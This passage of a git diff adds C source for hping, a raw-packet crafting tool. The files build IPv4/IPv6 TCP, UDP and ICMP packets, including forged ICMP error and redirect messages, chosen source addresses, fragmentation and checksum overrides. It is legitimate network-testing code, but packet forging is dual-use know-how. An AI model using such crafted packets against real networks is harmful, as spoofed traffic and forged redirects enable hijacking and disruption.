delaytable_add(_icmp_seq, 0, time(NULL), get_usec(), S_SENT); + + /* send packet */ + send_ip_handler(packet, ICMPHDR_SIZE + data_size); + free (packet); + + _icmp_seq++; +} + + +static void send_icmp_timestamp(void) +{ + char *packet; + struct myicmphdr *icmp; + struct icmp_tstamp_data *tstamp_data; + + packet = malloc(ICMPHDR_SIZE + sizeof(struct icmp_tstamp_data)); + if (packet == NULL) { + perror("[send_icmp] malloc"); + return; + } + + memset(packet, 0, ICMPHDR_SIZE + sizeof(struct icmp_tstamp_data)); + + icmp = (struct myicmphdr*) packet; + tstamp_data = (struct icmp_tstamp_data*) (packet + ICMPHDR_SIZE); + + /* fill icmp hdr */ + icmp->type = opt_icmptype; /* echo replay or echo request */ + icmp->code = 0; + icmp->checksum = 0; + icmp->un.echo.id = getpid() & 0xffff; + icmp->un.echo.sequence = _icmp_seq; + tstamp_data->orig = htonl(get_midnight_ut_ms()); + tstamp_data->recv = tstamp_data->tran = 0; + + /* icmp checksum */ + if (icmp_cksum == -1) + icmp->checksum = cksum((u_short*)packet, ICMPHDR_SIZE + + sizeof(struct icmp_tstamp_data)); + else + icmp->checksum = icmp_cksum; + + /* adds this pkt in delaytable */ + if (opt_icmptype == ICMP_TIMESTAMP) + delaytable_add(_icmp_seq, 0, time(NULL), get_usec(), S_SENT); + + /* send packet */ + send_ip_handler(packet, ICMPHDR_SIZE + sizeof(struct icmp_tstamp_data)); + free (packet); + + _icmp_seq++; +} + +static void send_icmp_address(void) +{ + char *packet; + struct myicmphdr *icmp; + + packet = malloc(ICMPHDR_SIZE + 4); + if (packet == NULL) { + perror("[send_icmp] malloc"); + return; + } + + memset(packet, 0, ICMPHDR_SIZE + 4); + + icmp = (struct myicmphdr*) packet; + + /* fill icmp hdr */ + icmp->type = opt_icmptype; /* echo replay or echo request */ + icmp->code = 0; + icmp->checksum = 0; + icmp->un.echo.id = getpid() & 0xffff; + icmp->un.echo.sequence = _icmp_seq; + memset(packet+ICMPHDR_SIZE, 0, 4); + + /* icmp checksum */ + if (icmp_cksum == -1) + icmp->checksum = cksum((u_short*)packet, ICMPHDR_SIZE + 4); + else + icmp->checksum = icmp_cksum; + + /* adds this pkt in delaytable */ + if (opt_icmptype == ICMP_TIMESTAMP) + delaytable_add(_icmp_seq, 0, time(NULL), get_usec(), S_SENT); + + /* send packet */ + send_ip_handler(packet, ICMPHDR_SIZE + 4); + free (packet); + + _icmp_seq++; +} + +static void send_icmp_other(void) +{ + char *packet, *data, *ph_buf; + struct myicmphdr *icmp; + struct myiphdr icmp_ip; + struct myudphdr *icmp_udp; + int udp_data_len = 0; + struct pseudohdr *pseudoheader; + int left_space = IPHDR_SIZE + UDPHDR_SIZE + data_size; + + packet = malloc(ICMPHDR_SIZE + IPHDR_SIZE + UDPHDR_SIZE + data_size); + ph_buf = malloc(PSEUDOHDR_SIZE + UDPHDR_SIZE + udp_data_len); + if (packet == NULL || ph_buf == NULL) { + perror("[send_icmp] malloc"); + return; + } + + memset(packet, 0, ICMPHDR_SIZE + IPHDR_SIZE + UDPHDR_SIZE + data_size); + memset(ph_buf, 0, PSEUDOHDR_SIZE + UDPHDR_SIZE + udp_data_len); + + icmp = (struct myicmphdr*) packet; + data = packet + ICMPHDR_SIZE; + pseudoheader = (struct pseudohdr *) ph_buf; + icmp_udp = (struct myudphdr *) (ph_buf + PSEUDOHDR_SIZE); + + /* fill icmp hdr */ + icmp->type = opt_icmptype; /* ICMP_TIME_EXCEEDED */ + icmp->code = opt_icmpcode; /* should be 0 (TTL) or 1 (FRAGTIME) */ + icmp->checksum = 0; + if (opt_icmptype == ICMP_REDIRECT) + memcpy(&icmp->un.gateway, &icmp_gw.sin_addr.s_addr, 4); + else + icmp->un.gateway = 0; /* not used, MUST be 0 */ + + /* concerned packet headers */ + /* IP header */ + icmp_ip.version = icmp_ip_version; /* 4 */ + icmp_ip.ihl = icmp_ip_ihl; /* IPHDR_SIZE >> 2 */ + icmp_ip.tos = icmp_ip_tos; /* 0 */ + icmp_ip.tot_len = htons((icmp_ip_tot_len ? icmp_ip_tot_len : (icmp_ip_ihl<<2) + UDPHDR_SIZE + udp_data_len)); + icmp_ip.id = htons(getpid() & 0xffff); + icmp_ip.frag_off = 0; /* 0 */ + icmp_ip.ttl = 64; /* 64 */ + icmp_ip.protocol = icmp_ip_protocol; /* 6 (TCP) */ + icmp_ip.check = 0; + memcpy(&icmp_ip.saddr, &icmp_ip_src.sin_addr.s_addr, 4); + memcpy(&icmp_ip.daddr, &icmp_ip_dst.sin_addr.s_addr, 4); + icmp_ip.check = cksum((__u16 *) &icmp_ip, IPHDR_SIZE); + + /* UDP header */ + memcpy(&pseudoheader->saddr, &icmp_ip_src.sin_addr.s_addr, 4); + memcpy(&pseudoheader->daddr, &icmp_ip_dst.sin_addr.s_addr, 4); + pseudoheader->protocol = icmp_ip.protocol; + pseudoheader->lenght = icmp_ip.tot_len; + icmp_udp->uh_sport = htons(icmp_ip_srcport); + icmp_udp->uh_dport = htons(icmp_ip_dstport); + icmp_udp->uh_ulen = htons(UDPHDR_SIZE + udp_data_len); + icmp_udp->uh_sum = cksum((__u16 *) ph_buf, PSEUDOHDR_SIZE + UDPHDR_SIZE + udp_data_len); + + /* filling icmp body with concerned packet header */ + + /* fill IP */ + if (left_space == 0) goto no_space_left; + memcpy(packet+ICMPHDR_SIZE, &icmp_ip, left_space); + left_space -= IPHDR_SIZE; + data += IPHDR_SIZE; + if (left_space <= 0) goto no_space_left; + + /* fill UDP */ + memcpy(packet+ICMPHDR_SIZE+IPHDR_SIZE, icmp_udp, left_space); + left_space -= UDPHDR_SIZE; + data += UDPHDR_SIZE; + if (left_space <= 0) goto no_space_left; + + /* fill DATA */ + data_handler(data, left_space); +no_space_left: + + /* icmp checksum */ + if (icmp_cksum == -1) + icmp->checksum = cksum((u_short*)packet, ICMPHDR_SIZE + IPHDR_SIZE + UDPHDR_SIZE + data_size); + else + icmp->checksum = icmp_cksum; + + /* send packet */ + send_ip_handler(packet, ICMPHDR_SIZE + IPHDR_SIZE + UDPHDR_SIZE + data_size); + free (packet); + free (ph_buf); +} diff --git a/sendicmp6.c b/sendicmp6.c new file mode 100644 index 0000000..aa0ce58 --- /dev/null +++ b/sendicmp6.c @@ -0,0 +1,193 @@ +/* + * $smu-mark$ + * $name: sendicmp6.c$ + * $author: Matyas Koszik $ + * $copyright: Copyright (C) 2006 by Matyas Koszik$ + * $license: This software is under GPL version 2 of license$ + * $date: Sun Apr 16 05:51:38 CEST 2006$ + * $rev: 1$ + */ + + +#include /* this should be not needed, but ip_icmp.h lacks it */ +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "hping2.h" +#include "globals.h" + +static int _icmp_seq = 0; + +static void send_icmp6_echo(void); +static void send_icmp_other(void); + +void send_icmp6(void) +{ + switch(opt_icmptype) + { + case ICMP6_ECHO: /* type 128 */ + case ICMP6_ECHOREPLY: /* type 129 */ + send_icmp6_echo(); + break; + case ICMP6_DEST_UNREACH: /* type 1 */ + case ICMP6_PACK_TOOBIG: /* type 2 */ + case ICMP6_TIME_EXCEEDED: /* type 3 */ + case ICMP6_PARAMETERPROB: /* type 4 */ + send_icmp_other(); + break; + default: + if (opt_force_icmp) { + send_icmp_other(); + break; + } else { + printf("[send_icmp6] Unsupported icmp type %i!\n", opt_icmptype); + exit(1); + } + } +} + +static void send_icmp6_echo(void) +{ + char *packet, *data; + struct myicmphdr *icmp; + struct pseudohdr6 *pseudoheader6; + + packet = malloc(PSEUDOHDR6_SIZE + ICMPHDR_SIZE + data_size); + if (packet == NULL) { + perror("[send_icmp] malloc"); + return; + } + + memset(packet, 0, PSEUDOHDR6_SIZE + ICMPHDR_SIZE + data_size); + + icmp = (struct myicmphdr*)(packet + PSEUDOHDR6_SIZE); + data = packet + PSEUDOHDR6_SIZE + ICMPHDR_SIZE; + + /* fill icmp hdr */ + icmp->type = opt_icmptype; /* echo replay or echo request */ + icmp->code = opt_icmpcode; /* should be indifferent */ + icmp->checksum = 0; + icmp->un.echo.id = getpid() & 0xffff; + icmp->un.echo.sequence = _icmp_seq; + + /* data */ + data_handler(data, data_size); + + pseudoheader6 = (struct pseudohdr6*)packet; + memcpy(&pseudoheader6->saddr, &ADDR6(&local).s6_addr, 16); + memcpy(&pseudoheader6->daddr, &ADDR6(&remote).s6_addr, 16); + pseudoheader6->protocol = 58; + pseudoheader6->lenght = htons(ICMPHDR_SIZE + data_size); + + /* icmp checksum */ + if (icmp_cksum == -1) + icmp->checksum = cksum((u_short*)packet, ICMPHDR_SIZE + data_size + PSEUDOHDR6_SIZE); + else + icmp->checksum = icmp_cksum; + + /* adds this pkt in delaytable */ + if (opt_icmptype == ICMP6_ECHO) + delaytable_add(_icmp_seq, 0, time(NULL), get_usec(), S_SENT); + + /* send packet */ + send_ip_handler(packet + PSEUDOHDR6_SIZE, ICMPHDR_SIZE + data_size); + free (packet); + + _icmp_seq++; +} + + + +static void send_icmp_other(void) +{ + char *packet, *data, *ph_buf; + struct myicmphdr *icmp; + struct myiphdr icmp_ip; + struct myudphdr *icmp_udp; + int udp_data_len = 0; + struct pseudohdr *pseudoheader; + int left_space = IPHDR_SIZE + UDPHDR_SIZE + data_size; + + packet = malloc(ICMPHDR_SIZE + IPHDR_SIZE + UDPHDR_SIZE + data_size); + ph_buf = malloc(PSEUDOHDR_SIZE + UDPHDR_SIZE + udp_data_len); + if (packet == NULL || ph_buf == NULL) { + perror("[send_icmp] malloc"); + return; + } + + memset(packet, 0, ICMPHDR_SIZE + IPHDR_SIZE + UDPHDR_SIZE + data_size); + memset(ph_buf, 0, PSEUDOHDR_SIZE + UDPHDR_SIZE + udp_data_len); + + icmp = (struct myicmphdr*) packet; + data = packet + ICMPHDR_SIZE; + pseudoheader = (struct pseudohdr *) ph_buf; + icmp_udp = (struct myudphdr *) (ph_buf + PSEUDOHDR_SIZE); + + /* fill icmp hdr */ + icmp->type = opt_icmptype; /* ICMP_TIME_EXCEEDED */ + icmp->code = opt_icmpcode; /* should be 0 (TTL) or 1 (FRAGTIME) */ + icmp->checksum = 0; + icmp->un.gateway = 0; /* not used, MUST be 0 */ + + /* concerned packet headers */ + /* IP header */ + icmp_ip.version = icmp_ip_version; /* 4 */ + icmp_ip.ihl = icmp_ip_ihl; /* IPHDR_SIZE >> 2 */ + icmp_ip.tos = icmp_ip_tos; /* 0 */ + icmp_ip.tot_len = htons((icmp_ip_tot_len ? icmp_ip_tot_len : (icmp_ip_ihl<<2) + UDPHDR_SIZE + udp_data_len)); + icmp_ip.id = htons(getpid() & 0xffff); + icmp_ip.frag_off = 0; /* 0 */ + icmp_ip.ttl = 64; /* 64 */ + icmp_ip.protocol = icmp_ip_protocol; /* 6 (TCP) */ + icmp_ip.check = 0; + memcpy(&icmp_ip.saddr, &icmp_ip_src.sin_addr.s_addr, 4); + memcpy(&icmp_ip.daddr, &icmp_ip_dst.sin_addr.s_addr, 4); + icmp_ip.check = cksum((__u16 *) &icmp_ip, IPHDR_SIZE); + + /* UDP header */ + memcpy(&pseudoheader->saddr, &icmp_ip_src.sin_addr.s_addr, 4); + memcpy(&pseudoheader->daddr, &icmp_ip_dst.sin_addr.s_addr, 4); + pseudoheader->protocol = icmp_ip.protocol; + pseudoheader->lenght = icmp_ip.tot_len; + icmp_udp->uh_sport = htons(icmp_ip_srcport); + icmp_udp->uh_dport = htons(icmp_ip_dstport); + icmp_udp->uh_ulen = htons(UDPHDR_SIZE + udp_data_len); + icmp_udp->uh_sum = cksum((__u16 *) ph_buf, PSEUDOHDR_SIZE + UDPHDR_SIZE + udp_data_len); + + /* filling icmp body with concerned packet header */ + + /* fill IP */ + if (left_space == 0) goto no_space_left; + memcpy(packet+ICMPHDR_SIZE, &icmp_ip, left_space); + left_space -= IPHDR_SIZE; + data += IPHDR_SIZE; + if (left_space <= 0) goto no_space_left; + + /* fill UDP */ + memcpy(packet+ICMPHDR_SIZE+IPHDR_SIZE, icmp_udp, left_space); + left_space -= UDPHDR_SIZE; + data += UDPHDR_SIZE; + if (left_space <= 0) goto no_space_left; + + /* fill DATA */ + data_handler(data, left_space); +no_space_left: + + /* icmp checksum */ + if (icmp_cksum == -1) + icmp->checksum = cksum((u_short*)packet, ICMPHDR_SIZE + IPHDR_SIZE + UDPHDR_SIZE + data_size); + else + icmp->checksum = icmp_cksum; + + /* send packet */ + send_ip_handler(packet, ICMPHDR_SIZE + IPHDR_SIZE + UDPHDR_SIZE + data_size); + free (packet); + free (ph_buf); +} diff --git a/sendip.c b/sendip.c new file mode 100644 index 0000000..5131651 --- /dev/null +++ b/sendip.c @@ -0,0 +1,134 @@ +/* + * $smu-mark$ + * $name: sendip.c$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:49 MET 1999$ + * $rev: 8$ + */ + +/* $Id: sendip.c,v 1.7 2003/08/01 13:28:07 njombart Exp $ */ + +#include +#include +#include +#include +#include +#include +#include + +#include "hping2.h" +#include "globals.h" + +void send_ip (char* src, char *dst, char *data, unsigned int datalen, + int more_fragments, unsigned short fragoff, char *options, + char optlen) +{ + char *packet; + int result, + packetsize; + struct myiphdr *ip; + + packetsize = IPHDR_SIZE + optlen + datalen; + if ( (packet = malloc(packetsize)) == NULL) { + perror("[send_ip] malloc()"); + return; + } + + memset(packet, 0, packetsize); + ip = (struct myiphdr*) packet; + + /* copy src and dst address */ + memcpy(&ip->saddr, src, sizeof(ip->saddr)); + memcpy(&ip->daddr, dst, sizeof(ip->daddr)); + + /* build ip header */ + ip->version = 4; + ip->ihl = (IPHDR_SIZE + optlen + 3) >> 2; + ip->tos = ip_tos; + +#if defined OSTYPE_FREEBSD || defined OSTYPE_NETBSD || defined OSTYPE_BSDI +/* FreeBSD */ +/* NetBSD */ + ip->tot_len = packetsize; +#else +/* Linux */ +/* OpenBSD */ + ip->tot_len = htons(packetsize); +#endif + + if (!opt_fragment) + { + ip->id = (src_id == -1) ? + htons((unsigned short) rand()) : + htons((unsigned short) src_id); + } + else /* if you need fragmentation id must not be randomic */ + { + /* FIXME: when frag. enabled sendip_handler shold inc. ip->id */ + /* for every frame sent */ + ip->id = (src_id == -1) ? + htons(getpid() & 255) : + htons((unsigned short) src_id); + } + +#if defined OSTYPE_FREEBSD || defined OSTYPE_NETBSD || defined OSTYPE_BSDI +/* FreeBSD */ +/* NetBSD */ + ip->frag_off |= more_fragments; + ip->frag_off |= fragoff >> 3; +#else +/* Linux */ +/* OpenBSD */ + ip->frag_off |= htons(more_fragments); + ip->frag_off |= htons(fragoff >> 3); /* shift three flags bit */ +#endif + + ip->ttl = src_ttl; + if (opt_rawipmode) ip->protocol = raw_ip_protocol; + else if (opt_icmpmode) ip->protocol = 1; /* icmp */ + else if (opt_udpmode) ip->protocol = 17; /* udp */ + else ip->protocol = 6; /* tcp */ + ip->check = 0; /* always computed by the kernel */ + + /* copies options */ + if (options != NULL) + memcpy(packet+IPHDR_SIZE, options, optlen); + + /* copies data */ + memcpy(packet + IPHDR_SIZE + optlen, data, datalen); + + if (opt_debug == TRUE) + { + unsigned int i; + + for (i=0; i$ + * $copyright: Copyright (C) 2006 by Matyas Koszik$ + * $license: This software is under GPL version 2 of license$ + * $date: Sun Apr 16 05:18:30 CEST 2006$ + * $rev: 1$ + */ + +#include +#include +#include +#include +#include +#include +#include + +#include "hping2.h" +#include "globals.h" + +void send_ip6 (char *src, char *dst, char *data, unsigned int datalen) +{ + char *packet; + int result, + packetsize; + struct myip6hdr *ip6; + + packetsize = IP6HDR_SIZE + datalen; + if ( (packet = malloc(packetsize)) == NULL) { + perror("[send_ip] malloc()"); + return; + } + + memset(packet, 0, packetsize); + ip6 = (struct myip6hdr*) packet; + + /* copy src and dst address */ + memcpy(ip6->saddr, src, sizeof(ip6->saddr)); + memcpy(ip6->daddr, dst, sizeof(ip6->daddr)); + + /* build ip header */ + ip6->version = 6; +// ip->tos = ip_tos; + +#if defined OSTYPE_FREEBSD || defined OSTYPE_NETBSD || defined OSTYPE_BSDI +/* FreeBSD */ +/* NetBSD */ + ip6->paylen = datalen; +#else +/* Linux */ +/* OpenBSD */ + ip6->paylen = htons(datalen); +#endif + + ip6->hoplimit = src_ttl; + if (opt_rawipmode) ip6->nextheader = raw_ip_protocol; + else if (opt_icmpmode) ip6->nextheader = 58; /* icmp */ + else if (opt_udpmode) ip6->nextheader = 17; /* udp */ + else ip6->nextheader = 6; /* tcp */ + + /* copies data */ + memcpy(packet + IP6HDR_SIZE, data, datalen); + + if (opt_debug == TRUE) + { + unsigned int i; + + for (i=0; i$ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:49 MET 1999$ + * $rev: 3$ + */ + +#include + +#include "hping2.h" +#include "globals.h" + +void send_ip_handler(char *packet, unsigned int size) +{ + if(opt_ipv6) + { + send_ip6((char*)&ADDR6(&local), + (char*)&ADDR6(&remote), + packet, size); + return; + } + ip_optlen = ip_opt_build(ip_opt); + + if (!opt_fragment && (size+ip_optlen+20 >= h_if_mtu)) + { + /* auto-activate fragmentation */ + virtual_mtu = h_if_mtu-20; + virtual_mtu = virtual_mtu - (virtual_mtu % 8); + opt_fragment = TRUE; + opt_mf = opt_df = FALSE; /* deactivate incompatible options */ + if (opt_verbose || opt_debug) + printf("auto-activate fragmentation, fragments size: %d\n", virtual_mtu); + } + + if (!opt_fragment) + { + unsigned short fragment_flag = 0; + + if (opt_mf) fragment_flag |= MF; /* more fragments */ + if (opt_df) fragment_flag |= DF; /* dont fragment */ + send_ip((char*)&ADDR4(&local), + (char*)&ADDR4(&remote), + packet, size, fragment_flag, ip_frag_offset, + ip_opt, ip_optlen); + } + else + { + unsigned int remainder = size; + int frag_offset = 0; + + while(1) { + if (remainder <= virtual_mtu) + break; + + send_ip((char*)&ADDR4(&local), + (char*)&ADDR4(&remote), + packet+frag_offset, + virtual_mtu, MF, frag_offset, + ip_opt, ip_optlen); + + remainder-=virtual_mtu; + frag_offset+=virtual_mtu; + } + + send_ip((char*)&ADDR4(&local), + (char*)&ADDR4(&remote), + packet+frag_offset, + remainder, NF, frag_offset, + ip_opt, ip_optlen); + } +} diff --git a/sendrawip.c b/sendrawip.c new file mode 100644 index 0000000..36066a4 --- /dev/null +++ b/sendrawip.c @@ -0,0 +1,25 @@ +#include +#include +#include +#include +#include +#include +#include + +#include "hping2.h" +#include "globals.h" + +void send_rawip(void) +{ + char *packet; + + packet = malloc(data_size); + if (packet == NULL) { + perror("[send_rawip] malloc()"); + return; + } + memset(packet, 0, data_size); + data_handler(packet, data_size); + send_ip_handler(packet, data_size); + free(packet); +} diff --git a/sendtcp.c b/sendtcp.c new file mode 100644 index 0000000..6582e18 --- /dev/null +++ b/sendtcp.c @@ -0,0 +1,118 @@ +/* + * $smu-mark$ + * $name: sendtcp.c$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:49 MET 1999$ + * $rev: 8$ + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "hping2.h" +#include "globals.h" + +void send_tcp(void) +{ + int packet_size; + int tcp_opt_size = 0; + char *packet, *data; + struct mytcphdr *tcp; + struct pseudohdr *pseudoheader; + struct pseudohdr6 *pseudoheader6; + unsigned char *tstamp; + int pslen; + + if (opt_tcp_timestamp) + tcp_opt_size = 12; + + if(opt_ipv6) + pslen = PSEUDOHDR6_SIZE; + else + pslen = PSEUDOHDR_SIZE; + + packet_size = TCPHDR_SIZE + tcp_opt_size + data_size; + packet = malloc(pslen + packet_size); + if (packet == NULL) { + perror("[send_tcphdr] malloc()"); + return; + } + pseudoheader = (struct pseudohdr*) packet; + pseudoheader6 = (struct pseudohdr6*) packet; + tcp = (struct mytcphdr*) (packet+pslen); + tstamp = (unsigned char*) (packet+pslen+TCPHDR_SIZE); + data = (char*) (packet+pslen+TCPHDR_SIZE+tcp_opt_size); + + memset(packet, 0, pslen+packet_size); + + /* tcp pseudo header */ + if(opt_ipv6) + { + memcpy(&pseudoheader6->saddr, &ADDR6(&local).s6_addr, 16); + memcpy(&pseudoheader6->daddr, &ADDR6(&remote).s6_addr, 16); + pseudoheader6->protocol = IPPROTO_TCP; + pseudoheader6->lenght = htons(packet_size); + } + else + { + memcpy(&pseudoheader->saddr, &ADDR4(&local).s_addr, 4); + memcpy(&pseudoheader->daddr, &ADDR4(&remote).s_addr, 4); + pseudoheader->protocol = IPPROTO_TCP; + pseudoheader->lenght = htons(packet_size); + } + + /* tcp header */ + tcp->th_dport = htons(dst_port); + tcp->th_sport = htons(src_port); + + /* sequence number and ack are random if not set */ + tcp->th_seq = (set_seqnum) ? htonl(tcp_seqnum) : htonl(rand()); + tcp->th_ack = (set_ack) ? htonl(tcp_ack) : htonl(rand()); + + tcp->th_off = src_thoff + (tcp_opt_size >> 2); + tcp->th_win = htons(src_winsize); + tcp->th_flags = tcp_th_flags; + + /* tcp timestamp option */ + if (opt_tcp_timestamp) { + __u32 randts = rand() ^ (rand() << 16); + tstamp[0] = tstamp[1] = 1; /* NOOP */ + tstamp[2] = 8; + tstamp[3] = 10; /* 10 bytes, kind+len+T1+T2 */ + memcpy(tstamp+4, &randts, 4); /* random */ + memset(tstamp+8, 0, 4); /* zero */ + } + + /* data */ + data_handler(data, data_size); + + /* compute checksum */ +#ifdef STUPID_SOLARIS_CHECKSUM_BUG + tcp->th_sum = packet_size; +#else + tcp->th_sum = cksum((u_short*) packet, pslen + packet_size); +#endif + + /* adds this pkt in delaytable */ + delaytable_add(sequence, src_port, time(NULL), get_usec(), S_SENT); + + /* send packet */ + send_ip_handler(packet+pslen, packet_size); + free(packet); + + sequence++; /* next sequence number */ + if (!opt_keepstill) + src_port = (sequence + initsport) % 65536; + + if (opt_force_incdport) + dst_port++; +} diff --git a/sendudp.c b/sendudp.c new file mode 100644 index 0000000..23fe610 --- /dev/null +++ b/sendudp.c @@ -0,0 +1,98 @@ +/* + * $smu-mark$ + * $name: sendudp.c$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:49 MET 1999$ + * $rev: 8$ + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "hping2.h" +#include "globals.h" + +/* void hexdumper(unsigned char *packet, int size); */ + +void send_udp(void) +{ + int packet_size; + char *packet, *data; + struct myudphdr *udp; + struct pseudohdr *pseudoheader; + struct pseudohdr6 *pseudoheader6; + int pslen; + + if(opt_ipv6) + pslen = PSEUDOHDR6_SIZE; + else + pslen = PSEUDOHDR_SIZE; + + packet_size = UDPHDR_SIZE + data_size; + packet = malloc(pslen + packet_size); + if (packet == NULL) { + perror("[send_udphdr] malloc()"); + return; + } + pseudoheader = (struct pseudohdr*) packet; + pseudoheader6 = (struct pseudohdr6*) packet; + udp = (struct myudphdr*) (packet+pslen); + data = (char*) (packet+pslen+UDPHDR_SIZE); + + memset(packet, 0, pslen+packet_size); + + /* udp pseudo header */ + if(opt_ipv6) + { + memcpy(&pseudoheader6->saddr, &ADDR6(&local).s6_addr, 16); + memcpy(&pseudoheader6->daddr, &ADDR6(&remote).s6_addr, 16); + pseudoheader6->protocol = IPPROTO_UDP; + pseudoheader6->lenght = htons(packet_size); + } + else + { + memcpy(&pseudoheader->saddr, &ADDR4(&local).s_addr, 4); + memcpy(&pseudoheader->daddr, &ADDR4(&remote).s_addr, 4); + pseudoheader->protocol = IPPROTO_UDP; + pseudoheader->lenght = htons(packet_size); + } + + /* udp header */ + udp->uh_dport = htons(dst_port); + udp->uh_sport = htons(src_port); + udp->uh_ulen = htons(packet_size); + + /* data */ + data_handler(data, data_size); + + /* compute checksum */ +#ifdef STUPID_SOLARIS_CHECKSUM_BUG + udp->uh_sum = packet_size; +#else + udp->uh_sum = cksum((__u16*) packet, pslen + packet_size); +#endif + + /* adds this pkt in delaytable */ + delaytable_add(sequence, src_port, time(NULL), get_usec(), S_SENT); + + /* send packet */ + send_ip_handler(packet+pslen, packet_size); + free(packet); + + sequence++; /* next sequence number */ + + if (!opt_keepstill) + src_port = (sequence + initsport) % 65536; + + if (opt_force_incdport) + dst_port++; +} diff --git a/signal.c b/signal.c new file mode 100644 index 0000000..bc7df2a --- /dev/null +++ b/signal.c @@ -0,0 +1,29 @@ +/* protable signal() like */ + +#include + +/* Portable signal() from R.Stevens, + * modified to reset the handler */ +void (*Signal(int signo, void (*func)(int)))(int) +{ + struct sigaction act, oact; + + act.sa_handler = func; + sigemptyset(&act.sa_mask); + act.sa_flags = 0; /* So if set SA_RESETHAND is cleared */ + if (signo == SIGALRM) + { +#ifdef SA_INTERRUPT + act.sa_flags |= SA_INTERRUPT; /* SunOS 4.x */ +#endif + } + else + { +#ifdef SA_RESTART + act.sa_flags |= SA_RESTART; /* SVR4, 4.4BSD, Linux */ +#endif + } + if (sigaction(signo, &act, &oact) == -1) + return SIG_ERR; + return (oact.sa_handler); +} diff --git a/sockopt.c b/sockopt.c new file mode 100644 index 0000000..b51ffe3 --- /dev/null +++ b/sockopt.c @@ -0,0 +1,38 @@ +/* + * $smu-mark$ + * $name: sockopt.c$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:49 MET 1999$ + * $rev: 8$ + */ + +#include +#include +#include /* IP_PROTOIP */ +#include + +void socket_broadcast(int sd) +{ + const int one = 1; + + if (setsockopt(sd, SOL_SOCKET, SO_BROADCAST, + (char *)&one, sizeof(one)) == -1) + { + printf("[socket_broadcast] can't set SO_BROADCAST option\n"); + /* non fatal error */ + } +} + +void socket_iphdrincl(int sd) +{ + const int one = 1; + + if (setsockopt(sd, IPPROTO_IP, IP_HDRINCL, + (char *)&one, sizeof(one)) == -1) + { + printf("[socket_broadcast] can't set IP_HDRINCL option\n"); + /* non fatal error */ + } +} diff --git a/split.c b/split.c new file mode 100644 index 0000000..df5b098 --- /dev/null +++ b/split.c @@ -0,0 +1,428 @@ +#include +#include +#include +#include +#include + +#include "ars.h" + +int ars_seems_ip(struct ars_iphdr *ip, size_t size) +{ + if (ip->version == 4 && + ip->ihl >= 5 && + (ip->ihl << 2) <= size && + ars_check_ip_cksum(ip) == 1) + return 1; + return 0; +} + +int ars_guess_ipoff(void *packet, size_t size, int *lhs) +{ + size_t orig_size = size; + + while(1) { + struct ars_iphdr *ip = packet; + if (size < sizeof (struct ars_iphdr)) + break; + if (ars_seems_ip(ip, size) == 0) { + /* We may probably assume the link header size + * to be multiple of two */ + packet++; + size--; + continue; + } + *lhs = orig_size - size; + return -ARS_OK; + } + return -ARS_ERROR; +} + +int ars_check_ip_cksum(struct ars_iphdr *ip) +{ + int ip_hdrsize = ip->ihl << 2; + struct ars_iphdr *ip2; + + ip2 = alloca(ip_hdrsize); + memcpy(ip2, ip, ip_hdrsize); + ip2->check = 0; + ip2->check = ars_cksum(ip2, ip_hdrsize); + return (ip->check == ip2->check); +} + +int ars_check_icmp_cksum(struct ars_icmphdr *icmp, size_t size) +{ + struct ars_icmphdr *icmp2; + + icmp2 = alloca(size); + memcpy(icmp2, icmp, size); + icmp2->checksum = 0; + icmp2->checksum = ars_cksum(icmp2, size); + return (icmp->checksum == icmp2->checksum); +} + +#define ARS_SPLIT_DONE 0 +#define ARS_SPLIT_GET_IP 1 +#define ARS_SPLIT_GET_IPOPT 2 +#define ARS_SPLIT_GET_ICMP 3 +#define ARS_SPLIT_GET_UDP 4 +#define ARS_SPLIT_GET_TCP 5 +#define ARS_SPLIT_GET_TCPOPT 6 +#define ARS_SPLIT_GET_DATA 7 + +int ars_split_ip(struct ars_packet *pkt, void *packet, size_t size, + int *state, int *len); +int ars_split_ipopt(struct ars_packet *pkt, void *packet, size_t size, + int *state, int *len); +int ars_split_icmp(struct ars_packet *pkt, void *packet, size_t size, + int *state, int *len); +int ars_split_udp(struct ars_packet *pkt, void *packet, size_t size, + int *state, int *len); +int ars_split_tcp(struct ars_packet *pkt, void *packet, size_t size, + int *state, int *len); +int ars_split_tcpopt(struct ars_packet *pkt, void *packet, size_t size, + int *state, int *len); +int ars_split_data(struct ars_packet *pkt, void *packet, size_t size, + int *state, int *len); + +/* Take it in sync with ARS_SPLIT_* defines */ +int (*ars_split_state_handler[])(struct ars_packet *pkt, void *packet, + size_t size, int *state, int *len) = +{ + NULL, + ars_split_ip, + ars_split_ipopt, + ars_split_icmp, + ars_split_udp, + ars_split_tcp, + ars_split_tcpopt, + ars_split_data +}; + +int ars_split_packet(void *packet, size_t size, int ipoff, struct ars_packet *pkt) +{ + int offset = 0; + int state = ARS_SPLIT_GET_IP; + + /* User asks for IP offset auto detection */ + if (ipoff == -1 && ars_guess_ipoff(packet, size, &ipoff) != -ARS_OK) { + ars_set_error(pkt, "IP offset autodetection failed"); + return -ARS_INVALID; + } + offset += ipoff; + size -= ipoff; + + /* Implemented as a finite state machine: + * every state is handled with a protocol specific function */ + while (state != ARS_SPLIT_DONE) { + int error; + int len = 0; + + error = ars_split_state_handler[state](pkt, packet + offset, + size, &state, &len); + if (error != -ARS_OK) + return error; + /* put off the link layer padding */ + if (pkt->p_layer_nr == 1 && + pkt->p_layer[0].l_type == ARS_TYPE_IP) { + struct ars_iphdr *ip = pkt->p_layer[0].l_data; + size = MIN(size, ntohs(ip->tot_len)); + } + offset += len; + size -= len; + /* Force the DONE state if we reached the end */ + if (size == 0) + state = ARS_SPLIT_DONE; + } + return 